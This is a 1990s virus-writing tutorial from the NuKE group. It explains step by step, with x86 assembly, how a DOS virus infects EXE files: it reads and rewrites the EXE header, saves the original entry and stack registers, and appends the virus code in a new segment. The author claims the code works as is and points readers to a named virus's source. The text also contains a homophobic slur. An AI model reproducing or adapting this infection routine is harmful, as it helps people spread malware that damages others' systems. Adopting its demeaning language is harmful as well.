           **************************************************  
           ** EXE Infections : PART I  `Infection Process' **                
           **                                              **                
           **            By Rock Steady/NuKE               **
           **************************************************
              
 We must admit there are HUGE amount of Lame Viruses out there. Ever       
 wonder why so many people talk about the AIDS virus? Its a fucken over    
 writting virus. Its HUGE in size and its written in PASCAL. Please! Have  
 a little more respect for the virus world. What happened to that old      
 Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top  
 viruses as it used to! Or are we in for a surprise? (USSR Kicks!)         
                                                                           
 Well to help people in advancing their Virus programming ability I will   
 try to explain that basics in Infecting an EXE file. There are several    
 ways to infect an EXE file. And I have tried several types. The best one  
 I have programmed is the one you'll see. In Basic, it will infect EXEs    
 by starting a new segment, only for the virus. This will infect EXEs over 
 the size of 64k, and it is alot less complicated..                        
                                                                           
 Before we can begin we must know a few things, about EXEs. Let's say a    
 .COM file has been loaded to segment address 1234:0000. When the COM file 
 runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other    
 end EXE files, are basicaly several COMs in one. Where EXE files can set  
 up DATA struct in one segment, CODE in another, and STACK in another. EXEs
 can have an unlimited amount of Segments, its limitation is Memory        
 Availablity. And the EXE file keeps track of these Segments, with an      
 EXE header, telling DOS what segments start where, How big the file is,   
 the amount of memory needed to run. the EXE header is the first few bytes 
 of the EXE file. Though if you use DEBUG to load an EXE file you will not 
 run into the EXE header, as DEBUG uses the EXE header to load its CS:IP   
 regesters with, the SS:SP and so on. Though you can view the EXE header   
 with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'   
 Just rename an EXE, the extension can be anything you wish, however don't 
 go and rename it to COM or BIN, these are reserved Extensions, and debug  
 treats them differently, Example if you rename it to COM debug will load  
 the IP regester as 0100h. The EXE header is Usually 28 bytes, though it   
 is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in  
 multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the 
 last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using   
 it? Just a poping ideas out in the open. Anyhow this is how the EXE header
 consists, of..                                                            
 START OFFSETS            DISCRIPTIONS                                     
 (hex) (dec)                                                               
   00 | 00 | Always 4D 5A. Marks this file as an .EXE file                 
  *02 | 02 | Remainder after dividing load module's size by 512            
  *04 | 04 | Size of file in 512 byte pages                                
   06 | 06 | Number of relocation table entries                            
  @08 | 08 | Size of header in paragraphs (16 bytes)                       
   0A | 10 | Minumum number of paragraphs required after loaded program    
   0C | 12 | Maximum number of paragraphs required after loaded program    
  *0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs     
  *10 | 16 | SP regester loaded with this word                             
   12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)     
  *14 | 20 | IP register loaded with this word                             
  *16 | 22 | (CS) Offset of Code Segment in load module in paragraphs      
   18 | 24 | Offset of first relocation item.                              
   1A | 26 | Overlay number. If no overlays used, this is 0                
 * = Will be Edited by our Virus                                           
 @ = Needed to help our reconstruction of the EXE header                   
                                                                           
 First thing to do is read the EXE header for the file to be infected!     
 That can be resolved by...                                                
     mov     ah,3fh                 ; Read from File BTW: BX=File Handle   
     mov     cx,1ch                 ; Read 1Ch Bytes (28)                  
     mov     dx,offset ds:[buffer]  ; Put it in our Buffer we set up!      
     int     21h                    ; Call the Dos to do it.               
     jc      error_exit             ; Error accured, Jmp to an Exit Routine
 buffer  db      1Ch DUP (?)     ;This is how to set up your buffer.       
 exe_ip  dw      0       ;This is were you will save the original          
 exe_cs  dw      0       ;Registers from the EXE header!                   
 exe_sp  dw      0       ;Put all theses DWs & DBs at the end of           
 exe_ss  dw      0       ;you file, with all the others...                 
 Next, after reading the first 28 bytes, you will need to set your file    
 pointers to the end of the file.                                          
                                                                           
     mov     ax,4202h        ; Move Read/Write Pointer to End of File      
     xor     cx,cx           ; plus offset (CX:DX)! So make sure CX:DX     
     xor     dx,dx           ; are ZERO or else it will go further than    
     int     21h             ; the End of File!                            
     jc      error_exit      ; Also test for errors! Be a Smart Virus!     
                                                                           
 After bringing your virus to the end, you may start the infection         
 process...                                                                
 ;Remember BX = File Handle  DX:AX Pointer Location (EOF)                  
     cmp    word ptr cs:[buffer],5A4Dh  ; Is file an .EXE?                 
                                  /\ Reverse double word format            
     jnz    error_exit           ;Exit its NOT an .EXE file!               
     mov    cx,word ptr cs:[buffer+14h]  ;IP register Read                 
     mov    word ptr cs:[exe_ip],cx      ;Save IP Register                 
     mov    cx,word ptr cs:[buffer+16h]  ;CS Register Read                 
     mov    word ptr cs:[exe_cs],cx      ;Save CS Register                 
     mov    cx,word ptr cs:[buffer+10h]  ;SP Register Read                 
     mov    word ptr cs:[exe_sp],cx      ;Save SP Register                 
     mov    cx,word ptr cs:[buffer+0Eh]  ;SS Register Read                 
     mov    word ptr cs:[exe_ss],cx      ;Save SS Register                 
                                                                           
 The following finds new CS:IP and SS:SP registers. It will create a new   
 segment, and CS:IP will point to the beginning of the Virus. If you have  
 other code, and the virus beginning is further down the First byte, just  
 add the number of Bytes to AX.                                            
     push   ax                                                             
     push   dx                                                             
     call   Find_New_Offsets     ;Refer to it at the END of this Text      
     sub    dx,word ptr cs:[buffer+8h]  ;Minus CS offset by EXE header!    
     mov    word ptr cs:[buffer+16h],dx ;Save new CS Register              
     mov    word ptr cs:[buffer+14h],ax ;Save new IP Register              
     pop    dx                                                             
     pop    ax           ; Restore Original DX:AX Point Location (EOF)     
     add    ax,virus_size      ; .STACKs are usually at the end of the code
                               ; in the EXEs, since our virus is now at the
                               ; End, we must move it after our virus, thus
                               ; it back at the END of the File!           
     adc    dx,0         ;Add with Carry Flag!                             
     push   ax                                                             
     push   dx                          ;Save new EOF pointer Location     
     call   Find_New_Offsets            ;Get NEW offsets for SS:SP         
     sub    dx,word ptr cs:[buffer+8h]  ;Subtract EXE header from File Size
                                        ;as it should not be counted!      
     add    ax,40h                      ;Move Stacks a little after EOF    
     mov    word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks   
     mov    word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks   
     pop    dx                                                             
     pop    ax           ;Restore Original EOF (With Virus Counted)        
     push   bx                                                             
     push   cx                                                             
     mov    cl,7                 ;In Simple, here we are figuring out      
     shl    dx,cl                ;the New File Size in 512byte pages       
     add    bx,ax                ;Now Rather than using the DIV and        
     mov    cl,9                 ;MOD function, I used this one because    
     shr    bx,cl                ;It is alot FASTER for the Processor!     
     add    dx,bx                ;The Result is exactly same, But          
     and    ax,1FFh              ;Shifting bits, results of the            
     jz     Its_Even             ;Same function when dealing with base     
     inc    dx                   ;16 numbers!                              
 Its_Even:            ;Read PeterNorton's Advanced ASM Language for        
     pop    cx        ;more neat short cuts for the above!                 
     pop    bx                                                             
     mov    word ptr cs:[buffer+2h],ax   ;Remainder after of 512 pages     
     mov    word ptr cs:[buffer+4h],dx   ;New File Size in 512 pages       
 Now we are Ready to write the virus to the EXE File! (Yeah!)              
     mov    ah,40h                 ;Write to File                          
     mov    dx,offset init_Virus   ;This is the BEGINNING offset of your   
                                   ;Virus! (Look at NuKE PoX v1.1)         
     mov    cx,Virus_size          ;Virus Size                             
     int    21h                                                            
     jc     error_exit             ;Error Exit dude...                     
     mov    ax,4200h               ;Move File Pointer to the BEGINNING     
     xor    cx,cx                  ;of the EXE so, we may now write the    
     xor    dx,dx                  ;EXE header!                            
     int    21h                                                            
     mov    ah,40h                ;Write to File                           
     mov    dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header   
     mov    cx,1Ch                ;CX=number of bytes to write             
     int    21h                   ;Do it!                                  
                                                                           
 ;  finds new Offsets for CS:IP & SS:SP Registers                          
 Find_New_Offsets        PROC    NEAR                                      
         push    bx                                                        
         push    cx                                                        
         mov     cl,0Ch              ;(c) Rock Steady/NuKE                 
         shl     dx,cl               ; I'm dividing here....               
         mov     bx,ax                                                     
         mov     cl,4                ; And multiply by 16 hear             
         shr     bx,cl                                                     
         add     dx,bx                                                     
         and     ax,0Fh                                                    
         pop     cx                                                        
         pop     bx                                                        
         retn                                                              
 Find_New_Offsets        ENDP                                              
                         Rock Steady / NuKE                                
 PS: This code works 100% as is! (Resident Virus) For Non-Residents add    
     a location pointer! Besides, Why the Hell are you write a non-Ressy   
     Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!  
